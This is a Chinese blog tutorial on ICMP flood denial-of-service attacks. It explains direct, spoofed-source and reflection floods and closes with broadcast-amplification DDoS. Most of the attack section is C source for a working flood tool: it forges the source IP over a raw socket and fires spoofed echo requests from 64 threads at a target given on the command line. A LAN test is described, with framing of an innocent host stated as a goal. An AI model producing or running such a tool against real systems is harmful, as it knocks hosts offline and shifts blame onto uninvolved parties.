侯体宗的博客
  • 首页
  • Hyperf版
  • beego仿版
  • 人生(杂谈)
  • 技术
  • 关于我
  • 更多分类
    • 文件下载
    • 文字修仙
    • 中国象棋ai
    • 群聊
    • 九宫格抽奖
    • 拼图
    • 消消乐
    • 相册

Linux编程之ICMP洪水攻击

linux  /  管理员 发布于 7年前   325

我的上一篇文章《Linux编程之PING的实现》里使用ICMP协议实现了PING的程序,ICMP除了实现这么一个PING程序,还有哪些不为人知或者好玩的用途?这里我将介绍ICMP另一个很有名的黑科技:ICMP洪水攻击。 

ICMP洪水攻击属于大名鼎鼎的DOS(Denial of Service)攻击的一种,一种是黑客们喜欢的攻击手段,这里本着加深自己对ICMP的理解的目的,也试着基于ICMP写一段ICMP的洪水攻击小程序。 

洪水攻击(FLOOD ATTACK)指的是利用计算机网络技术向目的主机发送大量无用数据报文,使得目的主机忙于处理无用的数据报文而无法提供正常服务的网络行为。

ICMP洪水攻击:顾名思义,就是对目的主机发送洪水般的ping包,使得目的主机忙于处理ping包而无能力处理其他正常请求,这就好像是洪水一般的ping包把目的主机给淹没了。 

要实现ICMP的洪水攻击,需要以下三项的知识储备:

  • DOS攻击原理
  • ICMP的深入理解
  • 原始套接字的编程技巧

一、ICMP洪水攻击原理

ICMP洪水攻击是在ping的基础上形成的,但是ping程序很少能造成目的及宕机的问题,这是因为ping的发送包的速率太慢了,像我实现的PING程序里ping包发送速率限定在1秒1发,这个速率目的主机处理ping包还是绰绰有余的。所以要造成“洪水”的现象,就必须提升发包速率。这里介绍三种ICMP洪水攻击的方式: 

(1)直接洪水攻击

这样做需要本地主机的带宽和目的主机的带宽之间进行比拼,比如我的主机网络带宽是30M的,而你的主机网络带宽仅为3M,那我发起洪水攻击淹没你的主机成功率就很大了。这种攻击方式要求攻击主机处理能力和带宽要大于被攻击主机,否则自身被DoS了。基于这种思想,我们可以使用一台高带宽高性能的电脑,采用多线程的方法一次性发送多个ICMP请求报文,让目的主机忙于处理大量这些报文而造成速度缓慢甚至宕机。这个方法有个大缺点,就是对方可以根据ICMP包的IP地址而屏蔽掉攻击源,使得攻击不能继续。 

(2)伪IP攻击

在直接洪水攻击的基础上,我们将发送方的IP地址伪装成其他IP,如果是伪装成一个随机的IP,那就可以很好地隐藏自己的位置;如果将自己的IP伪装成其他受害者的IP,就会造成“挑拨离间”的情形,受害主机1的icmp回复包也如洪水般发送给受害主机2,如果主机1的管理员要查是哪个混蛋发包攻击自己,他一查ICMP包的源地址,咦原来是主机2,这样子主机2就成了戴罪羔羊了。 

(3)反射攻击

这类攻击的思想不同于上面两种攻击,反射攻击的设计更为巧妙。其实这里的方式三的攻击模式是前两个模式的合并版以及升级版,方式三的攻击策略有点像“借刀杀人“,反射攻击不再直接对目标主机,而是让其他一群主机误以为目标主机在向他们发送ICMP请求包,然后一群主机向目的主机发送ICMP应答包,造成来自四面八方的洪水淹没目的主机的现象。比如我们向局域网的其他主机发送ICMP请求包,然后自己的IP地址伪装成目的主机的IP,这样子目的主机就成了ICMP回显的焦点了。这种攻击非常隐蔽,因为受害主机很难查出攻击源是谁。 

二、ICMP洪水攻击程序设计

这里我想实现一个ICMP洪水攻击的例子,这里我想采用方式二来进行设计。虽说方式三的“借刀杀人”更为巧妙,其实也是由方式二的伪装方式进一步延伸的,实现起来也是大同小异。 

首先给出攻击的模型图:

1.组ICMP包

这里的组包跟编写PING程序时的组包没太大差别,唯一需要注意的是,我们需要填写IP头部分,因为我们要伪装源地址,做到嫁祸于人。

void DoS_icmp_pack(char* packet){  struct ip* ip_hdr = (struct ip*)packet;  struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));  ip_hdr->ip_v = 4;  ip_hdr->ip_hl = 5;  ip_hdr->ip_tos = 0;  ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);  ip_hdr->ip_id = htons(getpid());  ip_hdr->ip_off = 0;  ip_hdr->ip_ttl = 64;  ip_hdr->ip_p = PROTO_ICMP;  ip_hdr->ip_sum = 0;  ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址  ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址  icmp_hdr->icmp_type = ICMP_ECHO;  icmp_hdr->icmp_code = 0;  icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));  //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了}

2.搭建发包线程

void Dos_Attack(){  char* packet = (char*)malloc(ICMP_PACKET_SIZE);  memset(packet, 0, ICMP_PACKET_SIZE);  struct sockaddr_in to;  DoS_icmp_pack(packet);  to.sin_family = AF_INET;  to.sin_addr.s_addr = dest;  to.sin_port = htons(0);  while(alive) //控制发包的全局变量  {    sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));      }  free(packet); //记得要释放内存}

3.编写发包开关

这里的开关很简单,用信号量+全局变量即可以实现。当我们按下ctrl+c时,攻击将关闭。

void Dos_Sig(){  alive = 0;  printf("stop DoS Attack!\n");}

 4.总的架构

我们使用了64个线程一起发包,当然这个线程数还可以大大增加,来增加攻击强度。但我们只是做做实验,没必要搞那么大。

int main(int argc, char* argv[]){  struct hostent* host = NULL;  struct protoent* protocol = NULL;  int i;  alive = 1;  pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包    int err = 0;  if(argc < 2)  {    printf("Invalid input!\n");    return -1;  }  signal(SIGINT, Dos_Sig);  protocol = getprotobyname(PROTO_NAME);  if(protocol == NULL)  {    printf("Fail to getprotobyname!\n");    return -1;  }  PROTO_ICMP = protocol->p_proto;  dest = inet_addr(argv[1]);  if(dest == INADDR_NONE)  {    host = gethostbyname(argv[1]);    if(host == NULL)    {      printf("Invalid IP or Domain name!\n");      return -1;    }    memcpy((char*)&dest, host->h_addr, host->h_length);  }  rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);  if(rawsock < 0)  {    printf("Fait to create socket!\n");    return -1;  }  setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));  printf("ICMP FLOOD ATTACK START\n");  for(i=0;i<THREAD_MAX_NUM;i++)  {    err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);    if(err)    {      printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);          }  }  for(i=0;i<THREAD_MAX_NUM;i++)  {    pthread_join(attack_thread[i], NULL);  //等待线程结束  }  printf("ICMP ATTACK FINISHI!\n");  close(rawsock);  return 0;}

三、实验

本次实验本着学习的目的,想利用自己手上的设备,想进一步理解网络和协议的应用,所以攻击的幅度比较小,时间也就几秒,不对任何设备造成影响。 

再说一下我们的攻击步骤:我们使用主机172.0.5.183作为自己的攻击主机,并将自己伪装成主机172.0.5.182,对主机172.0.5.9发起ICMP洪水攻击。

攻击开始

我们观察一下”受害者“那边的情况。在短短5秒里,正确收到并交付上层处理的包也高达7万多个了。我也不敢多搞事,避免影响机器工作。

使用wireshark抓包再瞧一瞧,满满的ICMP包啊,看来量也是很大的。ICMP包的源地址显示为172.0.5.182(我们伪装的地址),它也把echo reply回给了172.0.5.182。主机172.0.5.182肯定会想,莫名其妙啊,怎么收到这么多echo reply包。

攻击实验做完了。  

现在更为流行的是DDOS攻击,其威力更为强悍,策略更为精巧,防御难度也更加高。
其实,这种DDoS攻击也是在DOS的基础上发起的,具体步骤如下: 

    1. 攻击者向“放大网络”广播echo request报文
    2. 攻击者指定广播报文的源IP为被攻击主机
    3. “放大网络”回复echo reply给被攻击主机
    4. 形成DDoS攻击场景 

这里的“放大网络”可以理解为具有很多主机的网络,这些主机的操作系统需要支持对目的地址为广播地址的某种ICMP请求数据包进行响应。 

攻击策略很精妙,简而言之,就是将源地址伪装成攻击主机的IP,然后发广播的给所有主机,主机们收到该echo request后集体向攻击主机回包,造成群起而攻之的情景。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。


  • 上一条:
    详解Linux中的守护进程
    下一条:
    Linux有限状态机FSM的理解与实现
  • 昵称:

    邮箱:

    0条评论 (评论内容有缓存机制,请悉知!)
    最新最热
    • 分类目录
    • 人生(杂谈)
    • 技术
    • linux
    • Java
    • php
    • 框架(架构)
    • 前端
    • ThinkPHP
    • 数据库
    • 微信(小程序)
    • Laravel
    • Redis
    • Docker
    • Go
    • swoole
    • Windows
    • Python
    • 苹果(mac/ios)
    • 相关文章
    • 在Linux系统中使用Iptables实现流量转发功能流程步骤(0个评论)
    • vim学习笔记-入门级需要了解的一些快捷键(0个评论)
    • 在centos7系统中实现分区并格式化挂载一块硬盘到/data目录流程步骤(0个评论)
    • 在Linux系统种查看某一个进程所占用的内存命令(0个评论)
    • Linux中grep命令中的10种高级用法浅析(0个评论)
    • 近期文章
    • 在go语言中使用api.geonames.org接口实现根据国际邮政编码获取地址信息功能(1个评论)
    • 在go语言中使用github.com/signintech/gopdf实现生成pdf分页文件功能(0个评论)
    • gmail发邮件报错:534 5.7.9 Application-specific password required...解决方案(0个评论)
    • 欧盟关于强迫劳动的规定的官方举报渠道及官方举报网站(0个评论)
    • 在go语言中使用github.com/signintech/gopdf实现生成pdf文件功能(0个评论)
    • Laravel从Accel获得5700万美元A轮融资(0个评论)
    • 在go + gin中gorm实现指定搜索/区间搜索分页列表功能接口实例(0个评论)
    • 在go语言中实现IP/CIDR的ip和netmask互转及IP段形式互转及ip是否存在IP/CIDR(0个评论)
    • PHP 8.4 Alpha 1现已发布!(0个评论)
    • Laravel 11.15版本发布 - Eloquent Builder中添加的泛型(0个评论)
    • 近期评论
    • 122 在

      学历:一种延缓就业设计,生活需求下的权衡之选中评论 工作几年后,报名考研了,到现在还没认真学习备考,迷茫中。作为一名北漂互联网打工人..
    • 123 在

      Clash for Windows作者删库跑路了,github已404中评论 按理说只要你在国内,所有的流量进出都在监控范围内,不管你怎么隐藏也没用,想搞你分..
    • 原梓番博客 在

      在Laravel框架中使用模型Model分表最简单的方法中评论 好久好久都没看友情链接申请了,今天刚看,已经添加。..
    • 博主 在

      佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 @1111老铁这个不行了,可以看看近期评论的其他文章..
    • 1111 在

      佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 网站不能打开,博主百忙中能否发个APP下载链接,佛跳墙或极光..
    • 2016-11
    • 2017-07
    • 2017-10
    • 2017-11
    • 2018-01
    • 2018-02
    • 2020-03
    • 2020-04
    • 2020-05
    • 2020-06
    • 2021-02
    • 2021-03
    • 2021-04
    • 2021-06
    • 2021-07
    • 2021-08
    • 2021-09
    • 2021-10
    • 2021-11
    • 2021-12
    • 2022-01
    • 2022-03
    • 2022-04
    • 2022-08
    • 2022-11
    • 2022-12
    • 2023-01
    • 2023-02
    • 2023-03
    • 2023-06
    • 2023-07
    • 2023-10
    • 2023-12
    • 2024-01
    • 2024-04
    Top

    Copyright·© 2019 侯体宗版权所有· 粤ICP备20027696号 PHP交流群

    侯体宗的博客